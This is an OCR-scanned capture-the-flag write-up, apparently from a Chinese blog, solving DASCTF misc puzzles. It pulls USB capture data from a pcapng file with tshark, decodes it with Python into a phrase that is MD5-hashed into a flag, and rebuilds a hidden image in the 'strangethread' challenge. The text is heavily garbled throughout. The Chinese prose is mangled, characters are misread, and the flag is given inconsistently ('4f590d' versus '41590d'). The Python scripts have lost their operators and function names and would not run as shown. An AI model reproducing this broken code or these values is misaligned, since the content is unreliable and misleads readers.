ark -r easy_usb.pcapng -T fields -Y . =="2.7.1"' -e usb.capdata | sed '/A\s’ ' > data.txt




T e e e B L e T IR TP P

4P codepy | usbdata.txt data.txt

00140068000000000800020000000000000086000
©0140080000000000000200000002000000000000
0014000000000000800020000000000000080000
©014000000000000000000000002000000000000
00140068000000000800020000000000000086000
©0140080000000000000200000002000000000000
0014000000000000800020000000000000080000
©014000000000000000000000002000000000000
00140068000000000800020000000000000086000
©0140080000000000000200000002000000000000
0014000000000000800020000000000000080000
©014000000000000000000000002000000000000
00140010000000000000200000002000000000000
0014001000000000800020000000000000088000
©014000000000000000000000002000000000000
0014000000000000800020000000000000080000
©014004000000000000000000000000000000000
00140064000000000800020000000000000080000
©014000000000000000000000002000000000000
0014000000000000800020000000000000080000
00140010000000000000200000002000000000000
0014001000000000800020000000000000088000
©014000000000000000000000002000000000000
0014000000000000800020000000000000080000
©0140080000000000000200000002000000000000
00140068000000000800020000000000000086000
©014000000000000000000000002000000000000
0014000000000000800020000000000000080000
©0140080000000000000200000002000000000000
00140068000000000800020000000000000086000
©014000000000000000000000002000000000000
0014000000000000800020000000000000080000
00140020000000000000200000002000000000000
0014062000000000800020000000000000088000
©014000000000000000000000002000000000000
0014000000000000800020000000000000080000
00140010000000000000200000002000000000000
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tshark -r easy usb.pcapng -T fields -e usb.capdata | sed '/A\s*$/d' > usbdata.txt




4> codepy

ee14000:

[ Line 1, Column 1 Tab Sizerd ~ 7 oH - %

HE] 48 A\ ) 0000270000000000 M. i% 2 X HI AN ZRFHEE, SRETHITEX>EA R, Bkt THK.
FIAPythonfii A faj B Ab 3, HEATIRER. £E. BiAhTH



def YunYing decode(cipher_list):
alphabet
for code in cipher_list:
plus_num (%]
for num in code:
plus_num (num)

print(alphabet[plus num-1],end

def extract _data():
with (
lines f.readlines()
code_ list []
YunYing_code
n 1
for line in lines:
line line.strip()
if (line) 40:
YunYing_code line[6]
else:
if YunYing_code
n 1
else:
code_list.append(YunYing_ code)
YunYing_code

distinct_code_list [1]
for linel in code_list:
tmp_str
for idx in (0, (linel), 2):
tmp_str linel[idx]
distinct _code_list.append(tmp_str)
return distinct_code_list

if _ _name__
data extract_data()
flag = YunYing_decode(data)

EF PowerShell % N kali-linux

PS C:\Users\Administrator\Downloads\new> python .\code.py
yeswhenyouknowmeflagisaboxofxboxdonotforgetdasctjf
PS C:\Users\Administrator\Downloads\new> |

AR A8 SR L SR B B B 2 B — T AN A, 49 B IR 8 Bl R

yes when you know me
flag is aboxofxbox
donot forget dasctf




>>> from hashlib import *

= "aboxofxbox".upper()

' ABOXOFXBOX

>>>

>>> real_flag = md5(flag.encode('utf-8')).hexdigest()
>>> real_flag

'4f590d556ee8b0e90b2d091b2efe7357"

>>> real_flag[:6]

'4f590d"

>>>

R H KRS — T

Hint: & md5 FLAGISIEEBIZEE, mds[:6] == '41590d"

B B

\_

DASCTF{41590d556ee8b0e90b2d0@91b2efe7357}

EETE

© F=TEe: 1715328
CRYPTO PWN REVE »

strangethread

AN

strangethreadffiH4 zip

CSDN @ %]
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decode(en_pic)

decode(flagl)

decode(flag2)

decode(flag3)
print(rflagl)
print(rflag2)
print(rflag3)

M decode.py FHILAERIIRR: rflagiiE—frkBEflaghE =S —6L
RS Ran T B P

56 PowerShell

Ps C:\Users\Administrator\Downloads\strangethread> python

Python 3.8.2 (tags/v3.8 b3ab59, Feb 25 2020, 22: 9) [MSC v.1916 32 bit (Intel)] on win32
Type "help "copyright" redits" or "license" for more informatio

>

>>> flag = "11011111601101811001666016116011116661166111016611666161161661111111160611601660100000111600160011660110060100111600011 0001001110101160016160101001110000000101600160110110100000611166611111181
0000110111110001161100011"

>>> len(flag)

222

>>> rflag = '1110016011116011166661101666016016660161610016616000166000011661011661116118"

>>>

>>> pro_flag = "'

>>> for idx in range(e,len(flag),3):pro_flag+=flag[idx]

>>> pro_flag

'11100100111166111660611010000180168686. 91001000100000116601611061118110"
>>>

>>> pro_flag == rflag

HREEENR en_pic.png KR AKYE, REWG=MME—6; REHB0EERE RS ESRE R KIFHFAR;



I RAE IR R M R B G IRIEE, ARG — A EREE BIREBA 10%10 MER M H0EHE; BAIFEN R KB A
RIS —AME R RBEE, REERE decode. py KRR IEE — 1T B R BEE G = A BUE — 1

BT A XS en_pic.png BEAT I, K+ MER AR RN — MR RS
from PIL import Image

img = Image. (
width,height = img.size

img_obj Image.new( , (width//10,height//10))

for w in (width//10):

for h in (height//10):

pix img.getpixel((w*10,h*10))

img_obj.putpixel((w,h),pix)

img_obj.save( )

img_obj.show()
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from PIL import Image

img Image.

width,height img.size

dimension_one []

dimension_two []

for w in (width):

for h in (height):
pix img.getpixel((w,h))
dimension_two.append(pix)
if (dimension_two) 3:
dimension_one.append(dimension_two)
dimension_two []
else:

continue

new_width 29
new_height 87
img_obj Image.new( , (new_width,new_height))

n 0

for new_w in (new_width):

for new_h in (new_height):
img_obj.putpixel((new_w,new_h),dimension_one[n][0])
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